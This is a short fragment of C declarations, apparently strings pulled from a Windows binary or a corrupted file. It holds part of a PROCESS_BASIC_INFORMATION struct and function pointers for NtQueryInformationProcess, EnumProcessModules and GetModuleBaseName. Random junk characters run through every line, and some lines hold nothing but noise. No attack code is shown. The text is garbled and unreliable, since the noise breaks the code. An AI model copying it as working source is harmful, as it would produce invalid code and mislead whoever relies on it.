ULONG InheritedFromUniqueProcessId; qH=<8Iu
} PROCESS_BASIC_INFORMATION; bb4 `s0
39yp1
PROCNTQSIP NtQueryInformationProcess; 2 -C*RHRx
j@o
\d%.'!
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o9XT_!Cwg
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _\ &